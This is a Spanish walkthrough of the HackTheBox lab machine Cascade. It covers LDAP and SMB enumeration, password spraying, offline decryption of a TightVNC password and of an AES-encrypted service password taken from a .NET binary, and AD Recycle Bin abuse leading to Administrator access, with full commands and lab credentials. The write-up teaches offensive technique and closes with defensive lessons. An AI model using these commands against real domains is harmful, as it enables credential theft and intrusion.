the_open_door
café
ESEN

Cascade

HackTheBoxMediaWindows10.10.10.182

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#ldap-leak#cascadelegacypwd#vnc-password#des-cbc#dotnet-reversing#dotpeek#aes-cbc#ad-recycle-bin#password-reuse#smb-enumeration
TL;DR. Cascade es un Active Directory clásico que encadena fugas de información y descifrado de credenciales, sin un solo exploit de memoria. LDAP sin autenticar filtra la contraseña (codificada en Base64) del usuario r.thompson; su acceso por SMB descubre un email que delata una cuenta TempAdmin con la misma contraseña que Administrator, y un VNC Install.reg cuyo password de TightVNC desciframos (DES-CBC con clave fija) para entrar como s.smith. Un recurso Audit$ esconde un binario .NET (CascAudit.exe) que descompilamos con dotPeek: usa AES-CBC con clave e IV embebidos, lo que nos da la contraseña de ArkSvc. Esa cuenta está en el grupo AD Recycle Bin, así que recuperamos el objeto borrado TempAdmin y, con su contraseña reutilizada, entramos como Administrator.

Reconocimiento

Escaneo inicial

El ping vuelve con ttl=127, un salto por debajo del 128 típico de Windows, así que apunta a Windows (indicio, no prueba).

ping -c 1 10.10.10.182

Respuesta del ping con TTL 127

64 bytes from 10.10.10.182: icmp_seq=1 ttl=127 time=38.5 ms

El barrido UDP devuelve el trío habitual de un controlador de dominio: DNS (53), NTP (123) y LDAP (389).

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 10.10.10.182

Escaneo UDP con DNS, NTP y LDAP

PORT    STATE SERVICE
53/udp  open  domain
123/udp open  ntp
389/udp open  ldap

El escaneo TCP completo confirma el cuadro de Active Directory (Kerberos, LDAP, SMB, RPC, WinRM).

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.182 -oG scan

Escaneo TCP completo con los puertos de Active Directory

[+] Introduce una IP
10.10.10.182

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 17:52 UTC
Initiating SYN Stealth Scan at 17:52
Scanning 10.10.10.182 [65535 ports]
Discovered open port 139/tcp on 10.10.10.182
Discovered open port 135/tcp on 10.10.10.182
Discovered open port 53/tcp on 10.10.10.182
Discovered open port 445/tcp on 10.10.10.182
Discovered open port 88/tcp on 10.10.10.182
Discovered open port 49155/tcp on 10.10.10.182
Discovered open port 49165/tcp on 10.10.10.182
Discovered open port 49154/tcp on 10.10.10.182
Discovered open port 3268/tcp on 10.10.10.182
Discovered open port 636/tcp on 10.10.10.182
Discovered open port 49157/tcp on 10.10.10.182
Discovered open port 3269/tcp on 10.10.10.182
Discovered open port 5985/tcp on 10.10.10.182
Discovered open port 389/tcp on 10.10.10.182

Y extractPorts resume ese fichero -oG y deja la lista completa en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.182 y la batería de puertos abiertos de un controlador de dominio

Extracting information ...
IP Address: 10.10.10.182
Open ports: 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165

Ports copied to clipboard

La salida con -vvv añade la columna REASON, y ahí el ttl 127 se repite en cada puerto: es la misma pista del ping, pero ahora confirmada trece veces por la pila TCP en lugar de por un solo paquete ICMP.

Puertos abiertos con la columna REASON y ttl 127

PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
88/tcp    open  kerberos-sec   syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
3268/tcp  open  globalcatLDAP  syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman          syn-ack ttl 127
49154/tcp open  unknown        syn-ack ttl 127
49155/tcp open  unknown        syn-ack ttl 127
49157/tcp open  unknown        syn-ack ttl 127
49158/tcp open  unknown        syn-ack ttl 127
49165/tcp open  unknown        syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 66.17 seconds
           Raw packets sent: 327664 (14.417MB) | Rcvd: 65 (2.860KB)

Los cinco puertos altos 49154-49165 no son un servicio exótico: son el rango dinámico de RPC, donde el mapeador del 135 reparte los endpoints reales. Aparecen en cualquier controlador de dominio y son la razón de que un rpcclient funcione más adelante.

Un segundo escaneo con detección de versión sitúa el sistema en un Windows Server 2008 R2.

nmap -p 53,88,135,139,389,445,636,3268,5985 -sCV 10.10.10.182

Detección de versiones con nmap -sCV

53/tcp   open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-16 17:53:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1

SMB - TCP 445

Una consulta a SMB con netexec nos da el nombre del equipo (CASC-DC1), el dominio (cascade.local) y el sistema. Lo añadimos al /etc/hosts.

netexec smb 10.10.10.182

netexec revela CASC-DC1 y el dominio cascade.local

SMB  10.10.10.182  445  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)

Añadimos las dos entradas al /etc/hosts, el FQDN y el dominio a secas. No es cosmética: Kerberos y LDAP resuelven por nombre, y buena parte de las herramientas que vienen después fallan si el dominio no resuelve.

echo '10.10.10.182  CASC-DC1.cascade.local  cascade.local' >> /etc/hosts

Entrada de cascade.local en /etc/hosts

DNS - TCP 53

Probamos una transferencia de zona, pero falla y la enumeración DNS no aporta nombres nuevos.

dig axfr cascade.local @10.10.10.182

La transferencia de zona DNS falla

# dig axfr cascade.local @10.10.10.182
; <<>> DiG 9.20.15-2-Debian <<>> axfr cascade.local @10.10.10.182
;; global options: +cmd
; Transfer failed.

SMB sin credenciales: sesión sí, recursos no

Antes de RPC probamos lo barato: listar recursos sin credenciales. La respuesta merece leerse con cuidado, porque no es un simple fallo.

netexec smb 10.10.10.182 -u '' -p '' --shares

La sesión nula se establece pero enumerar recursos da STATUS_ACCESS_DENIED

SMB  10.10.10.182  445  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1)
SMB  10.10.10.182  445  CASC-DC1  [+] cascade.local\:
SMB  10.10.10.182  445  CASC-DC1  [-] Error enumerating shares: STATUS_ACCESS_DENIED

El [+] de la segunda línea dice que la sesión nula se establece, y el STATUS_ACCESS_DENIED de la tercera, que esa sesión no tiene permiso para listar recursos. Son dos cosas distintas: hay autenticación anónima, lo que falta es autorización. Ese matiz es justo lo que hace que valga la pena insistir por otro canal, porque un servidor que acepta la sesión nula suele exponer algo por alguna interfaz aunque sea por otra.

smbmap cuenta lo mismo desde otro ángulo, tanto anónimo como con guest:

smbmap -H 10.10.10.182 -u '' -p ''
smbmap -H 10.10.10.182 -u 'guest' -p ''

smbmap deniega el acceso con sesión nula y con guest

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[!] Access denied on 10.10.10.182, no fun for you...

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.10.10.182, no fun for you...

La diferencia entre 1 authenticated session(s) en el anónimo y 0 en guest confirma la lectura anterior: la cuenta guest está deshabilitada, mientras que la sesión nula sí entra.

RPC - TCP 135

SMB no lista recursos, pero RPC sí permite enumerar los usuarios del dominio con rpcclient. Guardamos la lista en userlist.txt.

rpcclient -U "" cascade.local -N -c enumdomusers | grep -oP '\[(.*?)\]' | grep -v 0x | tr -d '[]' > userlist.txt

rpcclient enumera los usuarios del dominio

CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

Password spraying con la propia lista (falla)

Con quince nombres, el primer intento gratis es el clásico "usuario igual a contraseña": la misma lista como diccionario de usuarios y de claves. El grep -v filtra los fallos para que solo quede lo que acierte.

netexec smb cascade.local -u userlist.txt -p userlist.txt | grep -v 'STATUS_LOGON_FAILURE' 2>/dev/null

El spray no deja ninguna línea de acierto tras filtrar los fallos

SMB  10.10.10.182  445  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local)

Queda solo la línea de banner: ni un [+]. Que la salida esté vacía es el resultado, y conviene enseñarlo en vez de resumirlo con un "no funcionó", porque es lo que justifica el siguiente paso. Una salvedad de laboratorio: aquí se lanzan 225 intentos sin pensárselo porque sabemos que no hay política de bloqueo. Contra un dominio real, un spray a ciegas de ese tamaño bloquea cuentas y enciende todas las alarmas; primero se consulta la política (--pass-pol) y se lanza un intento por usuario y ventana.

Acceso como r.thompson

LDAP: fuga de cascadeLegacyPwd

Una consulta LDAP sin autenticar llega a leer atributos del directorio. Filtrando por campos de contraseña aparece un atributo no estándar, cascadeLegacyPwd, en el objeto de r.thompson.

ldapsearch -x -H ldap://10.10.10.182 -b "DC=cascade,DC=local" | grep -iE 'pwd|userprincipalname'

ldapsearch filtra el atributo cascadeLegacyPwd de r.thompson

userPrincipalName: r.thompson@cascade.local
cascadeLegacyPwd: clk0bjVldmE=

El valor tiene pinta de Base64. Lo decodificamos:

echo -n 'clk0bjVldmE=' | base64 -d
rY4n5eva

Validar la credencial

Un spray con esa contraseña sobre toda la lista de usuarios confirma que solo es válida para r.thompson. WinRM no está permitido para esta cuenta, así que tiramos de SMB.

netexec smb 10.10.10.182 -u userlist.txt -p 'rY4n5eva' --continue-on-success

La contraseña solo valida para r.thompson

SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\administrator:rY4n5eva STATUS_LOGON_FAILURE
SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\arksvc:rY4n5eva STATUS_LOGON_FAILURE
SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\s.smith:rY4n5eva STATUS_LOGON_FAILURE
SMB  10.10.10.182  445  CASC-DC1  [+] cascade.local\r.thompson:rY4n5eva
SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\util:rY4n5eva STATUS_LOGON_FAILURE
...

Toca comprobar dónde sirve esa credencial. WinRM la rechaza:

netexec winrm 10.10.10.182 -u r.thompson -p 'rY4n5eva' 2>/dev/null

WinRM rechaza a r.thompson pese a ser una credencial válida

WINRM  10.10.10.182  5985  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 (name:CASC-DC1) (domain:cascade.local)
WINRM  10.10.10.182  5985  CASC-DC1  [-] cascade.local\r.thompson:rY4n5eva

La contraseña es correcta, pero falta la pertenencia a Remote Management Users, que es lo que habilita WinRM. Una credencial válida no es un acceso: hay que probarla servicio por servicio, y lo que aquí queda abierto es SMB.

El recurso Data

Con r.thompson enumeramos de nuevo los recursos: aparece uno llamado Data con permiso de lectura.

netexec smb cascade.local -u 'r.thompson' -p 'rY4n5eva' --shares

El recurso Data es legible para r.thompson

Share     Permissions  Remark
ADMIN$
Audit$
C$                     Default share
Data      READ
IPC$                   Remote IPC
NETLOGON  READ         Logon server share
print$    READ         Printer Drivers
SYSVOL    READ         Logon server share

Nos conectamos y listamos la raíz. Hay cinco carpetas, y cuatro de las cinco están denegadas.

smbclient //10.10.10.182/data -U 'r.thompson%rY4n5eva'

Cuatro de las cinco carpetas de Data devuelven NT_STATUS_ACCESS_DENIED

smb: \> dir
  Contractors      D  0  Mon Jan 27 03:27:34 2020
  Finance          D  0  Mon Jan 13 01:45:06 2020
  IT               D  0  Tue Jan 28 18:04:51 2020
  Production       D  0  Mon Jan 13 01:45:18 2020
  Temps            D  0  Mon Jan 13 01:45:15 2020

smb: \> cd Contractors
smb: \Contractors\> dir
NT_STATUS_ACCESS_DENIED listing \Contractors\*
smb: \> cd Finance
NT_STATUS_ACCESS_DENIED listing \Finance\*
smb: \> cd Production
NT_STATUS_ACCESS_DENIED listing \Production\*
smb: \> cd Temps
NT_STATUS_ACCESS_DENIED listing \Temps\*

Que un recurso figure como READ en la tabla de --shares solo habla del permiso del recurso, no del de cada carpeta de dentro. Aquí las ACL del sistema de ficheros dejan pasar exactamente una: IT, coherente con que r.thompson esté en el departamento de IT. Merece la pena probar carpeta a carpeta en vez de fiarse de la primera tabla.

Dentro de IT hay cuatro subdirectorios, y el primero ya paga el rato: Email Archives guarda un Meeting_Notes_June_2018.html de 2522 bytes.

smb: \IT\> dir
  Email Archives   D  0  Tue Jan 28 18:00:30 2020
  LogonAudit       D  0  Tue Jan 28 18:04:40 2020
  Logs             D  0  Wed Jan 29 00:53:04 2020
  Temp             D  0  Tue Jan 28 22:06:59 2020

smb: \IT\Email Archives\> dir
  Meeting_Notes_June_2018.html   An  2522  Tue Jan 28 18:00:12 2020

smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html

Listado de IT y descarga del correo archivado

Abierto en el navegador, el correo delata el detalle que lo cambia todo: se creó una cuenta temporal TempAdmin con la misma contraseña que la cuenta de administrador, a borrar al terminar la migración. Apuntamos el dato y seguimos, porque todavía no tenemos cómo usarlo.

Email que revela la cuenta TempAdmin con la contraseña del Administrator

Seguimos con el resto. LogonAudit está vacía, pero IT\Temp tiene una carpeta por usuario, y la de s.smith guarda un VNC Install.reg de 2680 bytes.

smb: \IT\Temp\> dir
  r.thompson   D  0  Tue Jan 28 22:06:53 2020
  s.smith      D  0  Tue Jan 28 20:00:01 2020

smb: \IT\Temp\> dir s.smith\
  VNC Install.reg   A  2680  Tue Jan 28 19:27:44 2020

smb: \IT\Temp\> get s.smith\"VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as s.smith\VNC Install.reg

La carpeta de s.smith contiene VNC Install.reg

Queda Logs, y ahí hay algo que en este momento no significa nada y más tarde lo significa todo: un directorio llamado Ark AD Recycle Bin con un ArkAdRecycleBin.log, junto a los dcdiag.log del controlador.

smb: \IT\Logs\> dir
  Ark AD Recycle Bin   D  0  Fri Jan 10 16:33:45 2020
  DCs                  D  0  Wed Jan 29 00:56:00 2020

smb: \IT\Logs\DCs\> get dcdiag.log
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as dcdiag.log
smb: \IT\Logs\Ark AD Recycle Bin\> get ArkAdRecycleBin.log
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as ArkAdRecycleBin.log

El directorio Logs contiene Ark AD Recycle Bin

El nombre de esa carpeta contiene ya las dos piezas de la escalada final, "Ark" (por ArkSvc) y "AD Recycle Bin", y estamos leyéndolo con la primera credencial de la caja. Es el mejor argumento para descargarse un recurso entero y mirarlo con calma: la pista del último salto estaba disponible desde el primero.

Con los ficheros ya en local, los inspeccionamos. El VNC Install.reg guarda la contraseña del servidor TightVNC en hexadecimal.

cat 's.smith/VNC Install.reg'

VNC Install.reg con la contraseña de TightVNC en hex

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

Shell como s.smith

Descifrar la contraseña de TightVNC

El primer reflejo es tratar el hexadecimal como si fuera texto codificado y revertirlo con xxd.

echo -n 6bcf2a4b6e5aca0f | xxd -r -p

La conversión de hex a texto devuelve bytes ilegibles

k?*KnZ?

Salen ocho bytes ilegibles, y eso ya es información: si fuera una contraseña guardada en hex, al revertirla saldría ASCII imprimible. Que no salga significa que el hex no es una codificación de la contraseña, sino de su versión cifrada. Son exactamente 8 bytes, del tamaño de un bloque DES.

VNC no guarda la contraseña en claro: la cifra con DES en modo CBC usando una clave fija y conocida, la misma para todas las instalaciones. Está documentada, junto al openssl de una línea que la aprovecha:

README de VNCDecrypt con la clave fija e84ad660c4721ae0

Esa clave, e84ad660c4721ae0, no es de esta máquina ni de este usuario: viene de serie en el producto. Por eso, con el blob hexadecimal basta para recuperar la contraseña offline, sin tocar el objetivo.

echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

openssl descifra la contraseña de TightVNC: sT333ve2

00000000  73 54 33 33 33 76 65 32                           |sT333ve2|

La contraseña de s.smith es sT333ve2, y esta vez WinRM sí responde (Pwn3d!).

evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Shell de evil-winrm como s.smith

Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami
cascade\s.smith

user.txt

type ..\desktop\user.txt

user.txt leída como s.smith

294259912ea7f8da6488be6a7efea875

Shell como ArkSvc

El recurso Audit$

Como s.smith tenemos acceso a un nuevo recurso, Audit$, que contiene la estructura de un programa: CascAudit.exe, CascCrypto.dll, una base de datos en DB\Audit.db y librerías de SQLite. Lo descargamos entero para analizarlo en local.

netexec smb 10.10.10.182 -u s.smith -p 'sT333ve2' --shares
smbclient //10.10.10.182/"Audit$" -U 's.smith%sT333ve2'

El recurso Audit$ con CascAudit.exe y la base de datos

smb: \> dir
  .                              D        0  Wed Jan 29 18:01:26 2020
  ..                             D        0  Wed Jan 29 18:01:26 2020
  CascAudit.exe                 An    13312  Tue Jan 28 21:46:51 2020
  CascCrypto.dll                An    12288  Wed Jan 29 18:00:20 2020
  DB                             D        0  Tue Jan 28 21:40:59 2020
  RunAudit.bat                   A       45  Tue Jan 28 23:29:47 2020
  System.Data.SQLite.dll         A   363520  Sun Oct 27 06:38:36 2019
  System.Data.SQLite.EF6.dll     A   186880  Sun Oct 27 06:38:38 2019
  x64                            D        0  Sun Jan 26 22:25:27 2020
  x86                            D        0  Sun Jan 26 22:25:27 2020

En vez de ir fichero a fichero, bajamos el árbol completo. recurse ON entra en subdirectorios y prompt OFF quita la confirmación por fichero, que es lo que hace utilizable el mget *.

recurse ON
prompt OFF
mget *

Descarga recursiva completa del recurso Audit$

getting file \CascAudit.exe of size 13312 as CascAudit.exe
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll
getting file \RunAudit.bat of size 45 as RunAudit.bat
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll
getting file \DB\Audit.db of size 24576 as DB/Audit.db
getting file \x64\SQLite.Interop.dll of size 1639936 as x64/SQLite.Interop.dll
getting file \x86\SQLite.Interop.dll of size 1246720 as x86/SQLite.Interop.dll

La base de datos SQLite

file confirma que Audit.db es una base SQLite 3.x, así que la abrimos y listamos las tablas: hay tres, DeletedUserAudit, Ldap y Misc.

file Audit.db
sqlite3 Audit.db

Las tablas DeletedUserAudit y Ldap de Audit.db

sqlite> .tables
DeletedUserAudit  Ldap  Misc

sqlite> SELECT * FROM DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local

sqlite> SELECT * FROM Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

sqlite> SELECT * FROM Misc;

La tabla DeletedUserAudit es la segunda mitad de la pista: ahí está TempAdmin, la cuenta del correo, con su distinguishedName completo bajo CN=Deleted Objects,DC=cascade,DC=local. El contenedor de objetos borrados aparece escrito, con nombre y ruta, mucho antes de que tengamos permiso para consultarlo. Entre esto, el correo y la carpeta Ark AD Recycle Bin del recurso Data, la caja lleva tres avisos dados de por dónde acaba.

La tabla Ldap guarda la contraseña de ArkSvc, con pinta de Base64. Al decodificarla sale ilegible, o sea que, igual que con VNC, no es codificación sino cifrado.

echo -n 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d

Reversing de CascAudit.exe con dotPeek

RunAudit.bat confirma que CascAudit.exe consume esa base de datos. Las cadenas del binario ya filtran una clave y un mensaje de error de descifrado.

strings -e l CascAudit.exe

strings de CascAudit.exe revela la clave c4scadek3y654321

CascAudiot.Resources
Data Source=
SELECT * FROM LDAP
c4scadek3y654321
Error decrypting password:

La cadena c4scadek3y654321 mide 16 caracteres, justo una clave AES de 128 bits, y el mensaje de error confirma que el binario descifra contraseñas. Pero strings no dice ni el algoritmo ni el modo, así que hay que abrirlo.

Como es un binario .NET, lo descompilamos con dotPeek, el descompilador gratuito de JetBrains, que solo corre en Windows. Se descarga primero en la máquina Windows 10 del laboratorio:

la página de descarga de dotPeek en jetbrains.com con el instalador JetBrains.dotPeek.2025.3.0.4.web.exe de 64,9 MB ya descargado

Después, el traslado de los binarios: se levanta un servidor HTTP en el directorio donde están y se tiran desde el navegador de la Windows.

python3 -m http.server 80

el http.server levantado en el directorio audit, donde estan los binarios descargados de la share

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

el listado de directorio del http.server visto desde la Windows, con CascAudit.exe, CascCrypto.dll, DB, RunAudit.bat y las DLL de SQLite, y CascAudit.exe ya descargado

Directory listing for /

CascAudit.exe
CascCrypto.dll
DB/
RunAudit.bat
System.Data.SQLite.dll
System.Data.SQLite.EF6.dll
x64/
x86/

Los binarios descargados en la máquina Windows desde el servidor HTTP

Importa bajarse también las DLL, no solo el .exe: el cifrado no está en CascAudit.exe.

El .exe solo orquesta. El cifrado real vive en CascCrypto.dll: la clase Crypto usa AES en modo CBC y, además de la clave, lleva el IV embebido (DefaultIV = "1tdyjCbY1Ix49842").

dotPeek muestra CascCrypto usando AES-CBC con IV embebido

Con esto tenemos las cuatro piezas que hacen falta, cada una sacada de un sitio distinto:

Las cuatro piezas: algoritmo, blob, IV y clave

Alg  -> AES.CBC                    (dotPeek, CascCrypto.dll)
Pass -> BQO5l5Kj9MdErXx6Q6AGOw==   (tabla Ldap de Audit.db)
IV   -> 1tdyjCbY1Ix49842           (dotPeek, DefaultIV)
KEY  -> c4scadek3y654321           (strings de CascAudit.exe)

Aquí está el fondo del asunto: AES-CBC es un cifrado sólido, y da igual. El programa necesita descifrar la contraseña sin intervención humana, así que la clave y el IV tienen que viajar dentro del propio artefacto. Cualquiera que pueda leer el binario, puede leer la clave. No es un fallo de AES, es que el modelo de amenaza no cierra.

Pasamos el blob por CyberChef (From Base64 → AES Decrypt, clave c4scadek3y654321, IV 1tdyjCbY1Ix49842, modo CBC):

CyberChef descifra la contraseña de ArkSvc: w3lc0meFr31nd

La contraseña de ArkSvc es w3lc0meFr31nd, válida en SMB y WinRM.

netexec smb 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
netexec winrm 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'

netexec confirma ArkSvc con (Pwn3d!) en WinRM

SMB    10.10.10.182  445   CASC-DC1  [+] cascade.local\ArkSvc:w3lc0meFr31nd
WINRM  10.10.10.182  5985  CASC-DC1  [+] cascade.local\ArkSvc:w3lc0meFr31nd (Pwn3d!)

Shell como Administrator

AD Recycle Bin: recuperar TempAdmin

Ya con shell, enumeramos los grupos de ArkSvc. Aquí está el porqué del último salto: la cuenta pertenece al grupo AD Recycle Bin.

evil-winrm -i 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
# whoami /all

ArkSvc pertenece al grupo CASCADE\AD Recycle Bin

*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all

GROUP INFORMATION
-----------------
Group Name                       Type   SID
===============================  =====  ==============================================
CASCADE\Data Share               Alias  S-1-5-21-3332504370-1206983947-1165150453-1138
CASCADE\IT                       Alias  S-1-5-21-3332504370-1206983947-1165150453-1113
CASCADE\AD Recycle Bin           Alias  S-1-5-21-3332504370-1206983947-1165150453-1119
CASCADE\Remote Management Users  Alias  S-1-5-21-3332504370-1206983947-1165150453-1126

Ese grupo permite leer los objetos borrados del dominio con todos sus atributos. Y recordamos el email: existió una cuenta TempAdmin con la contraseña de Administrator, después eliminada. Consultamos la papelera con Get-ADObject:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Get-ADObject lista el contenedor de objetos borrados

CanonicalName     : cascade.local/Deleted Objects
CN                : Deleted Objects
Deleted           : True
Description       : Default container for deleted objects
DistinguishedName : CN=Deleted Objects,DC=cascade,DC=local
isDeleted         : True
Name              : Deleted Objects
ObjectClass       : container

Entre los objetos borrados está TempAdmin, y conserva su cascadeLegacyPwd:

El objeto borrado TempAdmin conserva su cascadeLegacyPwd

cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN               : TempAdmin

Decodificamos el Base64 y, como anticipaba el email, esa contraseña es también la de Administrator (reutilización de credenciales entre cuentas: una clave recuperada se prueba en cada cuenta, porque compartirlas es lo habitual):

echo -n 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'

Decodificación de TempAdmin y shell como Administrator

# echo -n 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

WINRM  10.10.10.182  5985  CASC-DC1  [+] cascade.local\Administrator:baCT3r1aN00dles
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator

root.txt

type ..\desktop\root.txt

root.txt leída como Administrator

292016f0790feea704fb4c076243df0c

Dominio comprometido. Máquina rooteada.

Cadena de ataque

Todo el recorrido, de LDAP sin autenticar al hash de Administrator, en un vistazo:

LDAP anónimo  ─►  cascadeLegacyPwd (Base64)  ─►  r.thompson
  │  SMB share "Data": email (TempAdmin = pass de Admin) + VNC Install.reg
  ▼
VNC password (DES-CBC, clave fija)  ─►  s.smith   ─►  WinRM  ─►  user.txt
  │  SMB share "Audit$": CascAudit.exe + Audit.db (ArkSvc cifrado)
  ▼
dotPeek: AES-CBC (clave + IV embebidos)  ─►  ArkSvc   ─►  WinRM
  │  grupo AD Recycle Bin  ─►  Get-ADObject (objeto borrado TempAdmin)
  ▼
TempAdmin = Administrator (contraseña reutilizada)  ─►  WinRM  ─►  root.txt

Lecciones aprendidas

  • LDAP sin autenticar es una fuga, no una anécdota. Leer el directorio sin credenciales nunca debería exponer contraseñas; aquí un atributo a medida (cascadeLegacyPwd) guardaba la del usuario en Base64, que no es cifrado sino codificación. Los secretos no van en atributos del directorio, y el acceso de lectura anónimo a LDAP debe restringirse.
  • El cifrado "casero" con clave fija no protege nada. TightVNC cifra su contraseña con DES y una clave conocida e idéntica en todas las instalaciones; CascAudit.exe usa AES-CBC pero con la clave y el IV embebidos en el propio binario. En ambos casos, tener el dato cifrado equivale a tenerlo en claro. La clave debe vivir fuera del artefacto (almacén de secretos, derivación con sal por instalación).
  • El grupo AD Recycle Bin es un grupo privilegiado. Sus miembros leen objetos borrados con todos sus atributos, así que un secreto "eliminado" sigue ahí. Tratar su pertenencia como la de cualquier grupo con poder sobre el dominio: mínima y auditada. Conecta con el abuso de AD Recycle Bin.
  • Lo que sobra en la enumeración es la pista del final. La ruta a Administrator estaba anunciada tres veces antes de poder recorrerla: el correo de Meeting_Notes_June_2018.html, la carpeta IT\Logs\Ark AD Recycle Bin y la tabla DeletedUserAudit con el distinguishedName de TempAdmin. Ninguna era accionable en el momento de encontrarla. Merece la pena apuntar lo que no encaja todavía, porque el dato que no sirve en el paso dos suele ser el que cierra el paso cinco.
  • Reutilizar contraseñas entre cuentas se paga caro. El borrado de TempAdmin no eliminó su contraseña de la papelera, y al compartirla con Administrator, recuperarla fue el último eslabón. Las cuentas temporales privilegiadas deben tener contraseñas únicas y, mejor, borrarse de verdad (la papelera conserva el atributo).
Cheatsheet de comandos 26 comandos

Repaso rápido